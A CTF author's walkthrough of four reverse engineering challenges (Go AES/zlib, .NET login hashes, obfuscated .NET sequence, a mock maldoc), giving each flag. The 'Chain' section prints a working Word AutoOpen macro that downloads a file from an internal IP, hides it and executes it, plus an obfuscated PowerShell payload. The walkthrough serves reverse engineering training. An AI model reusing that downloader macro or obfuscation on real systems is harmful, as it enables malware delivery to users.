Comprehensive walkthrough of the LTDH19 RE challenges
Introduction
This year for ENUSEC's LTDH ("Le Tour Du Hack") I was tasked with writing the reverse engineering challenges needed for the CTF aspect of the event. Last year I also wrote the reverse engineering challenges which were used, so built on the feedback that I received. However, this year I attempted to make the challenges a bit easier to capture the interest of contestants that were new to the field. If you've got any questions feel free to pop me a message on Twitter @LloydLabs or e-mail me@syscall.party.
Go Fetch
I'm going to be using IDA for this writeup in conjunction with the Golang helper plugin which can be found here. We're also given a file named fetch.dat
to solve this challenge along with the executable. We can see main_main
which is obviously the entry point. If we run the application we get this:
ENUMEME - Enter a string to be superly hidden using a top secret routine:
Ok, so it's asking for user input. By looks of the message printed it seems as if it'll possibly encrypt or encode a string in one way or another. Just for the sake of this walkthrough I'm going to reference the IDA pseudocode output (to get this view from graph or inline view, press F5) as the Golang compiler adds a lot of instructions for the runtime's sake.
For reverse engineering reference, when we import a Go package when developing an application, and a method is called within that package (for example, fmt.Printf
), the exported method will look something like: <package>_method
in the binary's function table. For example, fmt.Printf
would look like fmt_Printf
in disassembly. The variables passed on the left are internally used by Go. In the decompiled pseudocode view we can see our call which prints the following to the console:
fmt_Printf(a1, a2, a3, v6, a5, a6, (__int64)aEnumemeEnterAS, 73LL); aEnumemeEnterAS -> ENUMEME - Enter a string to be superly hidden using a top secret routine:
Then, we can see this input being read from STDIN:
bufio___Reader__ReadString((__int64)&v42, (unsigned __int64)&v35, v13, v14, v15, v16, (__int64)&v41);
The variable v42
is our output which has been read from STDIN, for analysis sake we're going to change the name of this variable within IDA by pressing n
whilst the variable is selected and changing the name to encrypted_string_input
. We can then see this being fed into a method named encode
within the main
package. It seems as if we're calling an instance of FetchCtx within main
and calling Encode
from it:
main___FetchCtx__Encode(
(__int64)&encrypted_string_input,
(__int64)&v35,
(__int64)&v30,
v27.m256i_i64[1],
v17,
v18,
(__int64)&v30,
v27.m256i_i64[1],
v27.m256i_i64[2]);
In Go, the prototype for Encode
will look something like this:
func (ctx *FetchCtx) Encode(data string) []byte
Let's take a look at the encode
routine. Upon inspection, an instance of zlib.NewWriter
is created, then the input (in this case, our encrypted string) is compressed, as observed here:
compress_zlib___Writer__Write(a1, a2, *(__int64 *)&v44[32], v14, v15);
compress_zlib___Writer__Close(a1, a2, v16);
An instance of aes.NewCipher
is then created, through taking a look at the Go documentation for this function it seems as if we input a byte array as the input which is the key. You can view the documentation for the aes
library here. Let's take a look at the generated pseudocode again:
runtime_stringtoslicebyte(a1, byte_arr_key, v20, i, v15, v16);
*((_QWORD *)&v24 + 1) = *((_QWORD *)&v35 + 1);
*(_QWORD *)&v24 = v35;
v33 = v35;
crypto_aes_NewCipher(a1, byte_arr_key, v24, v25);
The Go runtime converts a string to a byte array internally using the runtime_stringtoslicebyte
. In Go, this looks something like: byteArr := []byte("syscall.party")
. We can see that an array of bytes at 0x4DA5A4
is being converted. For analysis sake, lets go and rename dword_4DA5A4
to byte_arr_key
.
lea rax, dword_4DA5A4
mov qword ptr [rsp+108h+var_108+8], rax
mov qword ptr [rsp+108h+var_108+10h], 10h
call runtime_stringtoslicebyte
We know this is a string, so let's press R
in IDA and select the bytes, this will convert it to the character equivalents:
Great. If it's strange to you that this is not null terminated, this is the way that Go stores strings for optimisation purposes (if it's small enough) - plus, internal methods will always pass the length of a buffer, meaning no need for a null terminator. We then need to reverse the order as it's in little endian, this is when the byte order is essentially "flipped". For example, "flipped" would become deppilf
. After converting it from little endina, this then gives us a string of DER_DIE_ODER_DAS
- a German phrase. So, we've recovered our encryption key, what's next? We need to find the nonce
that's being used in the decryption, we can see seal
is being called on our Cipher
context.
We can then see main_statictmp_0
within the binary indicating an array of bytes. This is the way that Go stores static data within binaries. Let's export this data, we can do this by highlighting the bytes then doing SHIFT + E which gives us this:
01 02 03 04 05 06 07 09 10 11 12
Ok, so this is our nonce. This would look something like this in Go:
nonce := []bytes{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}
Let's now recap on what we've observed so far being done. It's compressing the data using zlib, encrypting the data using AES with a key of DER_DIE_ODER_DAS
and a nonce of 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12
.
What about the file, fetch.dat
we were given at the start? Taking a look at the content in HxD we can see it looks like simply a collection of random bytes which have no purpose, nor identifiers such as file magic:
Could this file of have been encrypted using this algorithm? Let's find out, all we need to do is the reverse of what the algorithm above does. So let's load the file in, decrypt it, then decompress it. We can do this in any programming language of our choice.
- Load the target file
- Decrypt the target file using the found parameters above
- Decompress the target file using standard zlib parameters
- Profit???
After following our desried methodology we've developed, the flag renders as:
ltdh{99754106633f94d350db34d548d6091a}
# Secrecy This challenge had the theme of a GCHQ "secure" login portal, with inputs for username and password. We can identify that it's a .NET executable by simply throwing it into [DiE](https://github.com/horsicq/Detect-It-Easy) which aids in identifying packers, compilers and languages used - I highly recommend you add it to your toolset if you've not got it already!
In order to decompile the .NET binary from CIL bytecode to readable sourcecode we're going to use dnSpy - a great .NET disassembler, debugger and editor. Open the target file we're looking at in dnSpy via the menu pane File -> Open
- the assembly then will appear in the left hand menu view.
When a user wishes to login and clicks the Login
button, the button1_click
event handler is triggered:
private void button1_Click(object sender, EventArgs e)
{
if (new Login(this.textBox1.Text, this.textBox2.Text).Verify())
{
Clipboard.SetText(Carrots.Decrypt());
this.toolStripStatusLabel1.Text = "Status: OK login - copied flag to clipboard!";
return;
}
this.toolStripStatusLabel1.Text = "Status: Bad login!";
}
We can see that to verify that our input login credentials are correct in some way or another, the Login
class is called within the event handler - with the username and password as the respected inputs. Then, if the login is OK the method Decrypt
will be called on the class Carrots
with the output being copied to the current user's clipboard. Let's take a look at the Carrots
class.
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace Secure_Login
{
public static class Carrots
{
public static string Decrypt()
{
string result = "";
byte[] array = Convert.FromBase64String("dATxa6TBMbpCztJwNiJfBQpCaIVQ0XjTg6lBMyJqym+Kyy0nm3SjyqYwGR2RJLLxkCbMFHQ3D95JD8tEaAYNIA==");
using (Aes aes = Aes.Create())
{
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes("HALLO_HANS_DU_HUND", new byte[]
{
73,
118,
97,
110,
32,
77,
101,
100,
118,
101,
100,
101,
118
});
aes.Key = rfc2898DeriveBytes.GetBytes(32);
aes.IV = rfc2898DeriveBytes.GetBytes(16);
using (MemoryStream memoryStream = new MemoryStream())
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(array, 0, array.Length);
cryptoStream.Close();
}
result = Encoding.Unicode.GetString(memoryStream.ToArray());
}
}
return result;
}
private const string 我们必须飞向月球并返回 = "dATxa6TBMbpCztJwNiJfBQpCaIVQ0XjTg6lBMyJqym+Kyy0nm3SjyqYwGR2RJLLxkCbMFHQ3D95JD8tEaAYNIA==";
}
}
It seems to be a routine which uses the native Aes
wrapper for .NET using the key HALLO_HANS_DU_HUND
(this can be observed being passed to Rfc2898DeriveBytes
). The class is also obfuscated to a small extent to try and trick any budding CTF player. We can also see that the base64 string under the variable 我们必须飞向月球并返回
is set to be decrypted with this seen key. So, what could we do from here? We could extract this decompiled code from the binary and decrypt the flag ourselves using it, however we could look further into the program without going this far.
public bool Verify()
{
string a = this.HashPassword();
foreach (KeyValuePair<string, string> keyValuePair in AuthenticationPairs.logins)
{
if (this.username == keyValuePair.Key && a == keyValuePair.Value)
{
return true;
}
}
return false;
}
The password input field is hashed with MD5 then compares it against a list of valid logins in the AuthenticationPairs
static class. The implementation of this class is small and simply compares the username and password against a Dictionary<...>
defined in the AuthenticationPairs
class. Let's take a look at the definition of logins
.
internal static class AuthenticationPairs
{
public static Dictionary<string, string> logins = new Dictionary<string, string>
{
{
"Churchhill",
"4ca9d3dcd2b6843e62d75eb191887cf2"
},
{
"GCHQ-Admin",
"cde2fde1fa1551a704d775ce2315915d"
}
};
}
Nice, we've got username and hash pairs. A quick lookup of the MD5 hash 4ca9d3dcd2b6843e62d75eb191887cf2
returns war
. On submission, we get told by the program that the password is correct. The flag is copied to the clipboard as: ltdh{ouch_that_was_easy}
Zeucquences
Again, we've got a .NET executable. However, this time it is a lot more obfuscated with junk code, variable name obfuscation using random Unicode characters and method obfuscation. We can see in Main
what's being done:
private static void Main(string[] args)
{
象会典光県思分.漂亮的裤子("Give me a sequence to unlock the magic string - ✧・゚: *✧・゚:*");
foreach (KeyValuePair<char, bool> keyValuePair in Program.者港本転l軽事楽確表陸情囲അവരസകരമ\u0D3Eണ\u0D4D英移量開o象会典光県思分代国l間玉間)
{
象会典光県思分.鞋子真漂亮("What's your input?: ");
if (象会典光県思分.漂亮的眼睛()[0] != keyValuePair.Key - '\u0001')
{
象会典光県思分.漂亮的裤子("Wrong input!");
象会典光県思分.漂亮的眼睛();
Environment.Exit(1);
}
}
象会典光県思分.漂亮的裤子("Way! Nice one!");
Console.WriteLine(为什么编程对某些人来说如此困难.你好我的名字是().ToString());
象会典光県思分.漂亮的眼睛();
}
What're these weird methods being called? Let's take a look at 象会典光県思分.漂亮的裤子
. It seems to be a class that simply proxies to other methods, for example 象会典光県思分.漂亮的裤子
will simply proxy to Console.Write
. We can also see that Way! Nice one!
is printed after this loop to show that after a sequence of successful inputs feedback is given to the user. A method is then called, then converted to a string. Let's take a look at that method:
public static string 你好我的名字是()
{
int num = 1337;
ulong num2 = 60378UL;
if ((num2 & 221UL) == 4095UL)
{
ulong num3;
ulong num4;
do
{
num3 = num2 >> 2;
num4 = num2;
num2 = num4 - 1UL;
}
while (num3 != num4);
}
num -= num;
num ^= num;
char[] array = 象会典光県思分.楽確表陸情(象会典光県思分.那很容易(Resources.QPOopXopkQopkAxkpoKSpokAPOkPOAKopQ139AjAkXnZXnQjkAQKXjnSXkQAlAXjnasdowqeiqAiQiuAoplXnOJWQoiJEWjoiAScxnasdpQiowEoiJNNasfdJHOoihAFpAISFjhoiwr)).ToCharArray();
for (int i = num; i < array.Length; i++)
{
array[i] = 象会典光県思分.門選宅柴京調比月級術目残(array[i]);
}
return new string(array);
}
This seems to reference a resource within the binary, and does some maths which don't have any effect on the main operations - simply just there to obfuscate the program even further. It then seems to build a string array, weird. Let's continue and see if there's an easier way to solve this challenge rather than looking at this semi-obfuscated method.
We can see that the function enumerates over a dictionary, asks for input, gets the first character of that input and then compares the input to the value that was enumerated over to char(val - 1)
. So, we need to input the characters in the order that they are in the dictionary: o, a, m, p, 0, 4, 1, A, M, c
. We then minus 1
. This then means we have to input:
n,````,l, o, /, 3, 0, @, L, b
in order. Here we can see the output when we input this sequence of characters:
Give me a sequence to unlock the magic string - ???: *???:*
What's your input?: n
What's your input?: `
What's your input?: l
What's your input?: o
What's your input?: /
What's your input?: 3
What's your input?: 0
What's your input?: @
What's your input?: L
What's your input?: b
Way! Nice one!
ltdh{what_a_meme}
The flag is ltdh{what_a_meme}
.
Chain
I wanted to make this challenge as if a maldoc ("malware document") had been presented. We're given the file cv_view_open.docx
, upon opening it we're presented with this malformed Word document:
It seems to use a social engineering method to get the user to enable macros on the document, showing a CV ("curriculum vitae") that appears as if it's corrupted. It then prompts the user to enable macros, let's take a look at the macros that they're trying to execute. We're going to use olevba
which will extract the macros from a Microsoft Office document. If you already have Python's package manager pip
installed can install it by running pip install -U oletools
, otherwise find a reference to install Python. To view the embedded macros we could also simply use the Developer
tab in Word, I prefer to use oletools
though. This gives us an output of:
Sub ITS_LEGIT_I_SWEAR()
Dim xHttp
Dim bStrm
Dim filename
Set xHttp = CreateObject("Microsoft.XMLHTTP")
xHttp.Open "GET", "http://10.42.2.19/drop.ps1", False
xHttp.Send
Set gobjBinaryOutputStream = CreateObject("Adodb.Stream")
filename = "C:\Temp\" & DateDiff("s", #1/1/1970#, Now())
gobjBinaryOutputStream.Type = 1
gobjBinaryOutputStream.Open
gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("M")
gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("Z")
gobjBinaryOutputStream.write xHttp.responseBody
gobjBinaryOutputStream.savetofile filename, 2
SetAttr filename, vbReadOnly + vbHidden + vbSystem
Shell (filename)
End Sub
Sub AutoOpen()
ITS_LEGIT_I_SWEAR
End Sub
The AutoOpen
method in Office macros is called whenever, a document is opened. We can see that ITS_LEGIT_I_SWEAR
is then called which downloads a file from http://10.42.2.19/drop.ps1
which is a PowerShell script as-per the extension, then drops it into C:\Temp
- a pretty lame downloader. Let's look at the PowerShell script:
. ( $pshoMe[4]+$PsHOme[30]+'X')( (("{39}{32}{7}{17}{37}{16}{27}{6}{40}{1}{21}{10}{4}{24}{19}{34}{29}{36}{26}{2}{8}{5}{23}{13}{35}{22}{31}{0}{28}{3}{25}{38}{15}{9}{11}{14}{18}{30}{12}{20}{33}" -f ') wLJ+wLJ{
wLJ+wLJ oMOdewLJ+wLJcwLJ+wLJrywLJ+wLJptewLJ','=wLJ+wLJ [SywLJ+wL','ng(oMwLJ+wLJOdawLJ+wLJta)wLJ+wLJ
wLJ+wLJ
oMwLJ+wLJOdwLJ+wLJewLJ+wLJcryptedwLJ+wLJ wLJ+wLJ= wLJ+wL','wLJrypwLJ+wLJted[oMwLJ+wLJOiwLJ+wLJ] -bxor 0xF
wLJ+wLJ wLJ+w','LJetBytewLJ+wLJs(kwLJ+wLJ4wLJ+wLJIwLJ+wLJWAS_ZUM_HwLJ+wLJOFFEwLJ+wLJ_HANw','wLJ+','LJ+wLJMwLJ+wLJOda','(wLJ+wLJ
wLJ+wLJ wLJ+wLJ[PwLJ+wLJarameter(Man','J@()wLJ+wLJ
for wLJ+wLJ(wLJ+wLJoMOiwLJ+wLJ = ','J+wLJ.Tex','LJ+wLJnwLJ+wLJcodwLJ+wLJinwLJ+wLJg]:wLJ+wLJ:UTFwLJ+wLJ8.wLJ+wLJGwLJ+w','t.EncodwLJ+wLJinwLJ+wLJg]:wLJ+','wLJ}wLJ).rePLace(wLJk4IwLJ,[Stri','encrwLJ+wLJ','wLJ:wLJ+wLJUTF8.GwLJ+wLJetwLJ+wLJSwLJ+wLJtrwL','LJmwL','rwLJ','datwLJ+wLJory)][stwLJ','J+wLJing(owLJ+wLJMOdecr','wLJ+wLJ
wLJ+wLJ wLJ','ng][ChAR]34).rePLace(wLJoMOwLJ,[Strin','Jstem.wLJ+wLJText.Ew','LJ+wLJhwLJ+wLJ; owLJ+wLJMOi+','wLJ0;wLJ+wLJ wLJ+wLJoMOi -lt oMO','LJ+wLJSk4I)','LJ wLJ+wLJ }
wLJ+wLJ
[SwLJ+wLJyswLJ+wLJtwLJ+w','LJ+wLJromwLJ+wLJBase64wLJ+wLJStri','+wLJing]wLJ+wLJow','+wLJd += oMwLJ+wLJOenwLJ+wLJcwLJ+','ted = [System.CowLJ+wLJnwLJ+wLJvewLJ+wLJrt]::F','ypted)
wLJ+','+','J+wLJ {param','g][ChAR]36) G1H& ( hdtVerBOsEpReFerencE.TOsTRINg()[1,3]+wLJXwLJ-JoinwLJwLJ)','+wLJ wLJ+wLJoMwLJ+wLJOenwLJ+wLJcrwLJ+wLJypwLJ+wLJ','ywLJ+wLJptewLJ+wLJdwLJ+wLJ.Lengtw','w','+wLJ','LJewLJ+w','(wLJfunwLJ+wLJction Get-Crypt-LwLJ+wLJadwL','tawLJ+wLJ
wLJ+wLJ )
wLJ+wLJ wLJ+wLJ oMOwLJ+wLJkeywLJ+wLJ ')).rEplacE('hdt','$').rEplacE(([ChaR]71+[ChaR]49+[ChaR]72),'|').rEplacE('wLJ',[sTRIng][ChaR]39) )
# TODO: Y3trZ3RgYmhQeGdue1BgYVBqbn17Z3I=
This seems to be an obfuscated PowerShell script, however we can see a comment at the bottom which is an encoded string. We can make out certain strings such as -bxor 0xF
and Base64
within. This can be seen in the following excerpt:
-bxor 0xF
Hm, so we've got a base64 encoded string, we can see that an XOR operation is involved. Let's decode the string, then decrypt using 0xF
as the key. For this, I'd recommend using CyberChef made by GCHQ. You can see the recipe that I used here.
Nice! This then yields the flag:
ltdh{omg_what_on_earth}
# Conclusion I tried to make these challenges as realistic and interesting as possible to captivate the interest of people who might be new to reverse engineering. However, to test the skills of people who are well-versed in the subject too. Big thanks to CuPcakeN1njA (Charlie) for setting up the CTF and ensuring it ran smoothly!